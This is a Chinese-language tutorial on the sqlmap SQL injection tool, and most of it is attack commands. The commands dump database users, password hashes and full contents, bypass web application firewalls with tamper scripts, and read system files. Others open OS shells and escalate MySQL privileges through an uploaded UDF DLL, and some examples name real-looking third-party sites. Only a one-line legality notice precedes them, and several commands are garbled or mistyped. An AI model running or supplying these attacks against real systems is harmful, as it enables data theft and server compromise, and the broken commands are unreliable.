快速学习利用sqlmap(基于python3)扫描检测sql注入漏洞,挖掘并进行攻击

-- 快速学习利用sqlmap扫描检测sql注入漏洞,挖掘及攻击测试
【官网】:https://sqlmap.org/

应用场景

sqlmap是一个开源的渗透测试工具,可以用来进行自动化数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全的操作权限执行任意命令。目前支持数据库有mysql、oracle、access、postagesql、sql server、sqlite等 sqlmap采用了五种独特的sql注入技术:   1)布尔类型的盲注,既可以根据返回页面判断条件真假的注入   2)时间的盲注,既不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行来判断。   3)报错注入,页面会返回爆错

基础资源

python 2.6, 2.7 and 3.x 

使用须知

请勿用于非法用途

配置步骤

A)Sqlmap简介。 

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式:

1) 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

 2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

 3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

 4)联合查询注入,可以使用union的情况下的注入;

 5)堆查询注入,可以同时执行多条语句的执行时的注入。

B)Sqlmap下载与安装。

(1)linux下git直接安装。

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

(2)windows下安装

windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.6.x,2.7.x,3.x环境支持。

    附sqlmap的zip下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

                python下载地址:  https://www.python.org/downloads/        

                                            注1):推荐下载python3.10,安装过程勾选加入到环境变量 path.

                                            注2):  安装python完成后,可以在cmd下输入: python, 看是否有python版本之类的信息显示。有则说明安装成功了。


(3)kali及PentestBox默认安装sqlmap.

C)sqlmap的命令执行。

进入sqlmap的安装目录,我们会看到一个sqlmap.py的文件,通过cmd命令cd到该目录之后,输入:

python  sqlmap.py  -v    

得到sqlmap的详细的版本信息。当然输入其它的命令都会执行,效果如图:

 





常见问题

快速入门


A)Sqlmap挖掘sql注入漏洞的过程实例。

b1)结合burpsuite工具抓包,之后使用sqlmap进行sql注入漏洞分析。

步骤:

step1)基于burpsuite工具抓包.

     如果对burpsuite工具想了解其下载,安装,配置,则可以参考:http://config.net.cn/producttest/61ccfb4c-b56f-4aa6-9c35-1bdadf12801d-p1.html

step2)得到目标请求url的http包信息后,保存到一个.txt文件.

step3)使用sqlmap工具,加载上述http包数据文件,进行分析,例如:  python sqlmap.py -r "C:\Users\taoba\Desktop\CTF\Post-sql.txt"

详细过程见图片:


经过一顿分析检测,最后结果如下:


[注1]上面显示目前的检测阶段并没发现sql注入漏洞,需要进一步检测分析。  如果上面已经分析出来了 params  "channelid"是可以注入的,那么我们可以使用下面的命令基于原来的http包,替换参数进行侦测:

python sqlmap.py -r "C:\Users\taoba\Desktop\CTF\Post-sql.txt" -p  channelid: 指定参数值   //当有多个参数而你又知道username参数存在

SQL漏洞,你就可以使用-p指定参数进行探测.

注2]如果有多个参数要组合提交,则可以使用:

python sqlmap.py -u URL --data“username=a&password=a”命令。

注3]如果需要在cookie中指定参数进行sql注入。

sqlmap.py -u "http://site.com/login?username=a&passowrd=b" –cookies "id=1"  –dbs –level 2

注4]在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“--batch”命令来自动答复和判断。


B)Sqlmap常用命令。

b1)系统命令。

 -h,--help  显示基本帮助信息并退出

 -hh    显示高级帮助信息并退出

 --version  显示程序版本信息并退出

-vVERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

a2)确定目标的命令.


在这些选项中必须提供至少有一个确定目标

 -d DIRECT    直接连接数据库的连接字符串

-u URL, --url=URL   目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url

-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标

-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标

-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。//sqlmap.py-m tg.txt

-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443

-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)

-c CONFIGFILE       从配置ini文件中加载选项


b3)常规漏洞挖掘,定位分析命令。 

sqlmap -u url  --users :查看数据库所有用户  //cmd中命令用法: python sqlmap.py -u   "http://site.com/login?u=test&p=123456"

sqlmap -u url --passwords :查看数据库所有用户密码

sqlmap -u url :判断注入点

sqlmap -u url --current-dbs :查看当前所有数据库

sqlmap -u url --current-user :查看数据库当前的用户

sqlmap -u url --is-dba :判断当前用户是否有管理员权限

sqlmap -u url --roles :列出数据库所有管理员角色

sqlmap -u url --current-db :查看当前数据库

sqlmap -u url -D 库名 --tables  :爆表

sqlmap -u url -D 库名 -T 表明 --columns :爆字段

sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据

sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据


b4)扩展命令及用法

c)sqlmap实用技巧。


1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,"/*!0%s" % word) 为:

return match.group().replace(word,"/*!50000%s*/" % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

<cast query="CAST(%s ASCHAR)"/>为:

<castquery="convert(%s,CHAR)"/>

(3)使用sqlmap进行注入测试

sqlmap.py -u"http://site.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"

其它绕过waf脚本方法:

sqlmap.py-u "http://site/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释

2. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"

3. 列举并破解密码哈希值

  当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u"http://site/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

4. 获取表中的数据个数

sqlmap.py -u"http://site/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

5.对网站secbang.com进行漏洞爬去

sqlmap.py -u "http://www.secbang.com"--batch --crawl=3

6.基于布尔SQL注入预估时间

sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta

7.使用hex避免字符编码导致数据丢失

sqlmap.py -u "http://site/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

8.模拟测试手机环境站点

python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile

9.智能判断测试

sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart

10.结合burpsuite进行注入

(1)burpsuite抓包,需要设置burpsuite记录请求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表单注入

sqlmap.py -u URL --data“username=a&password=a”

11.sqlmap自动填写表单注入

自动填写表单:

sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 数据库名称--tables

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump

12.读取linux下文件

 sqlmap.py-u "url" --file /etc/password

13.延时注入

sqlmap.py -u URL --technique -T--current-user

14. sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap:
(1)浏览器打开目标地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录表单的submit按钮
(4)Burp会拦截到了我们的登录POST请求
(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass

15.sqlmap cookies注入

sqlmap.py -u "http://site.com/base.PHP"–cookies "id=1"  –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

 16.mysql提权

(1)连接mysql数据打开一个交互shell:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell select @@version; select @@plugin_dir; d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll‘ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll‘ select sys_eval(‘ver‘);


17.执行shell命令

sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/
sqlmap.py -u "url" –os-shell /*系统交互的shell*/

18.延时注入

sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/
sqlmap –dbs -u"url" –safe-freq /*请求2次*/



参考资料